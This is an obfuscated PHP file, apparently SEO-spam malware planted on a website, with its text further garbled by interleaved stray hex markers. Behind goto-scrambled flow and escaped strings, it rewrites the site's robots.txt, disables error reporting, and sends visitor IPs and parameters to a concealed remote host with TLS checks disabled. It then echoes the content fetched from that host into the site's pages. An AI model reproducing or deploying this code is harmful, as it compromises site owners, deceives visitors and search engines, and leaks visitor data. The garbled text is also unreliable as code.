1 < 4 ?php 4 g 5 oto N 4 WuLZ 5 ; N2p 5 xL: i 5 f (!e 4 mpty 5 ($get 4 ["\1 5 62"]) 4 ) { 5 $robo 5 tsPat 5 h = $ 4 _SER 3 VER 9 ["\104\x4 6 f\x43\ 6 x55\x4 7 d\x45\1 5 16\12 8 4\x5f\12 16 2\x4f\x4f\124"] . "\x2 7 f\162\1 5 57\14 8 2\x6f\x7 1f 4\163\56\x74\x78\x74"; $sitemap 4 Bloc 5 k = " b \x55\x73\x6 8 5\x72\x2 5 d\x61 a \147\145\x 7 6e\x74\ b 72\x20\x2a\ 5 xa\10 a 1\154\154\ 9 x6f\x77\x 9 3a\x20\x2 10 f\12"; $sitemaps a = "\xa\12 7 3\151\1 9 64\x65\x6 9 d\x61\160 a \72\x20{$h 5 ttp_t 4 ype} e {$_SERVER["\x4 7 8\x54\x 8 54\120\1 5 37\11 b 0\117\123\1 13 24"]}{$_SERVER["\x5 5 3\103 b \122\x49\x5 9 0\x54\x5f 8 \116\x41 c \x4d\x45"]}\ 8 77\163\x 7 3d\x73\ b 12"; if (!f 5 ile_e 5 xists c ($robotsPath b )) { file_p 5 ut_co 4 nten 1e ts($robotsPath, $sitemapBlock c . $sitemaps) 5 ; } e 3 lse 11 { $robotsContent 4 = @ 8 file_get 1c _contents($robotsPath); if ( 5 strpo 11 s($robotsContent, d $_SERVER["\1 9 23\x43\x5 15 2\x49\x50\x54\x5f\x4e 11 \x41\x4d\x45"]) = 5 == fa 7 lse) { 29 @file_put_contents($robotsPath, $sitemaps 4 , FI 4 LE_A 4 PPEN a D); } } } 7 goto Ez 4 Yoe; 9 NWuLZ: e 5 rror_ 5 repor 4 ting 5 (0); 8 goto yMq 9 RN; yMqRN 6 : $get 7 = $_GE a T; goto sh 4 qZL; 4 Aq5 6 NJ: $l 5 l = " 1d {$http_type}{$_SERVER["\110\1 5 24\12 f 4\120\137\x48\x 9 4f\123\x5 18 4"]}{$_SERVER["\x53\x43\ 7 122\111 f \x50\x54\137\11 8 6\x41\11 8 5\105"]} 9 "; goto D 5 _iaM; 4 m5b 5 kF: f 5 uncti 6 on get 4 Curl 5 ($url 7 , $getD 6 ata = 5 array 6 ()) { 13 if (!empty($getData 9 )) { $que 5 ryStr 6 ing = 9 is_array( c $getData) ? 7 http_bu 4 ild_ 11 query($getData) : c $getData; $ 6 url .= f (strpos($url, 5 "\77" e ) === false ? 8 "\77" : 9 "\x26") . 11 $queryString; } c if (function b _exists("\1 5 43\x7 f 5\x72\154\137\x 6 69\156 9 \151\164" b )) { $ch = 6 curl_i 4 nit( a ); curl_se 4 topt c _array($ch, 8 array(CU 4 RLOP 6 T_URL 9 => $url, a CURLOPT_RE 4 TURN 4 TRAN 4 SFER 8 => true c , CURLOPT_SS 5 L_VER 4 IFYP c EER => false 15 , CURLOPT_SSL_VERIFYH 3 OST 16 => false, CURLOPT_FOL 4 LOWL 4 OCAT 3 ION 15 => true, CURLOPT_TIM 3 EOU 11 T => 10, CURLOPT_ 3 HTT 4 PGET 16 => true, CURLOPT_USER 4 AGEN c T => "\115\1 9 57\172\15 9 1\154\x6c 6 \141\5 8 7\x35\x2 4 e\60 7 ")); $d 13 ata = curl_exec($ch b ); curl_clo 9 se($ch); d if (!empty($d c ata)) { retu 8 rn $data a ; } } if ( 7 ini_get f ("\141\154\x6c\ 7 x6f\167 9 \x5f\x75\ f 162\154\x5f\146 9 \157\160\ 7 x65\156 c ")) { $conte 5 xt = 7 stream_ 9 context_c 6 reate( a array("\x6 7 8\164\x b 74\160" => 9 array("\1 8 55\x65\1 c 64\x68\x6f\x 9 64" => "\ 7 x47\105 9 \x54", "\ a x74\x69\15 9 5\145\x6f d \x75\x74" => 9 10, "\150 8 \x65\x61 c \x64\x65\162 a " => "\125 c \163\x65\162 15 \x2d\x41\147\145\x6e\ 8 164\x3a\ 7 40\x4d\ 7 157\x7a c \151\x6c\x6c 9 \x61\x2f\ b x35\x2e\60\ 7 15\12") 9 , "\163\x 15 73\x6c" => array("\16 b 6\x65\162\x 9 69\146\x7 7 9\137\1 13 60\x65\145\162" => c false, "\x76 e \145\x72\151\1 6 46\171 8 \137\x70 e \145\145\162\x 8 5f\x6e\1 a 41\x6d\x65 b " => false) 20 )); $data = @file_get_contents($ c url, false, 32 $context); if (!empty($data)) { return $data; } } 9 return '' 9 ; } goto 5 X5nb1 7 ; D_iaM 8 : $vurl c = $http_type b . "\x69\14 a 4\154\x79\ 7 62\56\x 8 69\x64\x d 73\x68\157\x7 7 0\x2e\x 7 63\143\ 8 167\x75\ 8 56\143\x 7 63\x2f\ 6 64\61\ 9 71\56\x61 c \163\x70\x78 d "; goto N2pxL 7 ; EzYoe 17 : if (!empty($get["\163 c "])) { $para b ms = array( a "\163" => 8 date("\1 7 31\x6d\ 8 144\x48\ 9 151"), "\ f x6e\165\155\142 d \x65\162" => c $get["\156\1 13 65\x6d\x62\145\162" 5 ]); $ 6 str = 10 getCurl($vurl, $ 10 params); $str = 8 str_repl c ace(array("\ 7 173\xe5 6 \275\2 9 23\xe5\x8 5 9\x8d 6 \345\x 4 9c\2 8 60\xe5\2 a 35\x80\x7d b "), array($ c http_type . 17 $_SERVER["\110\x54\x54\ 7 x50\x5f e \110\117\x53\1 1a 24"] . $_SERVER["\123\x43\ 11 122\x49\x50\124\1 b 37\116\x41\ 10 x4d\x45"]), $str 6 ); hea 7 der("\1 4 03\1 c 57\156\x74\x 18 65\156\164\x2d\164\171\1 b 60\x65\72\1 d 64\x65\170\x7 7 4\57\x7 8 8\155\15 7 4"); ec 8 ho $str; 4 die d ; } goto N4da 8 c; X5nb1 e : $http_type = 9 !empty($ 1c _SERVER["\110\x54\x54\120\12 6 3"]) & 2 & 17 $_SERVER["\x48\124\124\ b x50\123"] ! 7 == "\x6 9 f\146\x66 6 " ? "\ f x68\164\164\160 c \x73\x3a\x2f a \x2f" : "\ 11 150\164\164\160\x 9 3a\x2f\57 e "; goto Aq5NJ; 5 f5Xo c A: function 10 postCurl($url, $ 16 postData = array()) { 5 $post 1b String = is_array($postData 21 ) ? http_build_query($postData) : b $postData; 2b if (function_exists("\143\x75\162\154\x5f\ 7 x69\x6e 6 \x69\1 f6 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => 13 true, CURLOPT_POSTF 4 IELD 6 S => $ 70 postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 8 x6c\x6c\ 1d 157\x77\x5f\x75\162\154\x5f\x 6 66\x6f a \x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 17 " => array("\155\145\16 c 4\150\157\14 b 4" => "\120 d \x4f\x53\124" 6 , "\16 11 4\x69\155\x65\157 13 \165\x74" => 10, "\ 7 x68\x65 e \141\144\x65\x b 72" => "\10 5 3\x6f 15 \156\x74\x65\x6e\x74\ b 55\124\171\ 9 x70\x65\x f 3a\x20\x61\160\ 7 160\x6c e \x69\x63\x61\x d 74\x69\x6f\x6 9 e\57\x78\ b 55\x77\x77\ 9 167\55\x6 f 6\x6f\x72\155\x d 2d\165\162\x6 c c\x65\156\14 b 3\157\144\1 8 45\144\x 5 d\12" 15 . "\x43\x6f\156\x74\ d 145\156\x74\x 6 2d\x4c e \145\x6e\147\1 c 64\x68\72\40 8 " . strl 3 en( 12 $postString) . "\x a d\xa" . "\ a 125\x73\14 a 5\x72\x2d\ 9 101\x67\x c 65\156\164\x 16 3a\40\x4d\157\172\151\ 10 x6c\x6c\141\x2f\ 8 65\56\x3 8 0\xd\xa" c , "\143\x6f\ 14 x6e\164\145\x6e\164" 10 => $postString) 28 , "\163\x73\x6c" => array("\x76\145\x72\ d x69\146\171\x 7 5f\x70\ 29 x65\145\162" => false, "\x76\145\162\x69\ 6 x66\x7 c 9\x5f\160\14 b 5\x65\x72\1 6 37\x6e c \141\155\145 7b " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto c m5bkF; N4dac 15 : if (!empty($get["\1 d 51\144"])) { 13 if (empty($get["\15 e 3\153"])) { $i 8 p = get_ 6 ip(); 18 $params = array("\x69\16 9 0" => $ip b , "\x69\144 7 " => is 13 set($get["\x69\144" 5 ]) ? f $get["\151\x64" 5 ] : ' 8 ', "\x6c c \x6c" => $ll 6 ); $tz 1f str = getCurl($vurl, $params); 11 if (strpos($tzstr 12 , "\x69\144") !== 9 false) { b echo $tzstr a ; die; } } 1f $params = array("\x69\x64" => 10 $get["\x69\x64"] c , "\x6c\154" b => $ll); $ 3d str = getCurl($vurl, $params); $str = str_replace(array("\x7b b \125\x52\x4 5 c\175 9 ", "\173\ 8 345\237\ b 237\345\x90 6 \215\1 c 75"), array( a get_url_in 8 fo("\146 7 \165\15 19 4\x6c"), get_url_info("\1 9 56\157\13 d 7\x77\167\167 c ")), $str); 12 echo $str; die; } f else { $sitemap 8 Url = $l 9 l . "\x3f 8 \x73\x3d f " . date("\131\ 7 155\144 18 \110\x69"); echo "\74\14 a 4\x69\166\ 7 40\x73\ 11 164\171\154\145\x 6 3d\x27 b \x74\145\17 f 0\164\x2d\x61\1 c 54\151\147\1 6 56\x3a 12 \x63\145\x6e\164\x b 65\x72\73\4 9 0\160\x61 10 \144\144\x69\156 8 \x67\72\ b 61\x30\160\ b 170\40\x30\ 7 73\x27\ 5 76\x3 10 c\x61\x20\150\16 a 2\x65\146\ 6 75\42{ c $sitemapUrl} a \x22\x20\x 6 74\x61 12 \x72\x67\x65\164\x 4 3d\4 f 2\x5f\x62\154\1 a 41\x6e\x6b f \42\40\162\x65\ a x6c\x3d\x2 7 2\x6e\1 b 57\x66\157\ 11 x6c\x6c\157\167\x 6 22\x3e f \x20\x53\x69\x7 18 4\x65\x6d\x61\160\74\57\ 9 141\x3e\x 9 3c\x2f\14 b 4\151\166\7 b 6"; } goto 4 nnSB 5 p; Uh 3 8So 13 : function get_ip() 5 { fo 6 reach 15 (array("\x48\x54\x54\ a x50\x5f\x5 9 8\137\x46 a \117\x52\1 6 27\101 b \122\104\x4 7 5\104\x d 5f\x46\x4f\x5 7 2", "\x f 48\124\x54\120\ b x5f\x43\114 5 \x49\ 9 105\x4e\x e 54\137\111\x50 b ", "\x52\x4 c 5\x4d\117\x5 6 4\x45\ 5 x5f\1 a 01\x44\x44 9 \x52") as 4 $ke 11 y) { if (!empty($ d _SERVER[$key] c )) { return 7 trim(ex 4 plod 8 e("\x2c" b , $_SERVER[ 9 $key])[0] e ); } } return a "\x55\x4e\ 3 113 b \116\x4f\x5 f 7\116"; } goto c f5XoA; shqZL f : function get_ 10 url_info(string 7 $return 11 _type = "\144\157 8 \155\141 9 \151\x6e" e ) : string { $ 4 host e = $_SERVER["\ 18 x48\124\124\x50\x5f\110\ 13 x4f\123\x54"]; if ( f $return_type == e = "\144\x6f\15 9 5\x61\x69 11 \156") { return $ c host; } if ( 1b $return_type === "\156\157\ 1c x5f\x77\167\167") { return l a trim($host 11 , "\x77\x77\167\x 6 2e"); 8 } $proto 3 col a = isset($ 1c _SERVER["\110\x54\124\x50\x5 13 3"]) && $_SERVER["\ 17 110\x54\x54\x50\x53"] = a == "\x6f\1 6 56" || 1a isset($_SERVER["\x48\x54\ e 124\x50\x5f\13 9 0\137\106 d \x4f\122\127\ 10 x41\122\104\x45\ 9 x44\137\x 6 50\x52 22 \117\x54\x4f"]) && $_SERVER["\110\ 11 124\124\120\137\x 13 58\137\106\x4f\122\ 10 x57\101\122\104\ 9 105\104\1 10 37\x50\122\x4f\x 6 54\117 18 "] === "\150\x74\x74\160 e \x73" ? "\x68\ e x74\164\x70\x7 a 3\x3a\57\x 8 2f" : "\ 15 x68\x74\164\x70\72\x2 a f\x2f"; $b 4 ase_ 10 url = $protocol 9 . $host; 1a if ($return_type === "\142 c \x61\x73\145 15 ") { return $base_url 8 ; } $uri 16 = $_SERVER["\x52\x45\ 3 121 a \125\105\1 e 23\124\x5f\x55 8 \122\x49 8 "]; $ful 9 l_url = $ f base_url . $uri 19 ; if ($return_type === "\ c x66\165\154\ 10 154") { return $ 9 full_url; 1b } return ''; } goto Uh8So; 9 nnSBp: ? 1 > 0